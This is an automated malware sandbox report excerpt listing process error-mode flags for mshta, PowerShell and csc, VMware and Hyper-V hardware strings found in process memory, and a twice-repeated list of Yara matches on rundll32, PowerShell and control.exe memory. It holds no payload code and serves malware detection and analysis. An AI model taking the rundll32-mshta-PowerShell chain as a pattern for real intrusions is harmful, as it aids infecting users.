Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\mshta.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process information set: NOOPENFILEERRORBOX |
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:eEE| |
Source: explorer.exe, 00000025.00000000.419693379.000000000814C000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000 |
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}*^d |
Source: explorer.exe, 00000025.00000000.415342028.0000000000680000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: _VMware_SATA_CD00#5&280b647& |
Source: explorer.exe, 00000025.00000000.446215428.000000000069D000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b} |
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: VMware SATA CD00 |
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}\ |
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\ |
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\CkK@ |
Source: explorer.exe, 00000025.00000000.424617292.00000000062C4000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b} |
Source: explorer.exe, 00000025.00000000.419520780.0000000004287000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0 |
Source: rundll32.exe, 00000002.00000002.453750013.0000000003197000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000002.453564071.000000000313A000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: Hyper-V RAW |
Source: explorer.exe, 00000025.00000000.437682607.000000000820E000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000 |
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}}^ |
Source: mshta.exe, 00000018.00000003.363685356.000002AE315B2000.00000004.00000020.00020000.00000000.sdmp | Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b} |
Source: explorer.exe, 00000025.00000000.419693379.000000000814C000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000 |
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp | Binary or memory string: VMware SATA CD00l |
Source: Yara match | File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |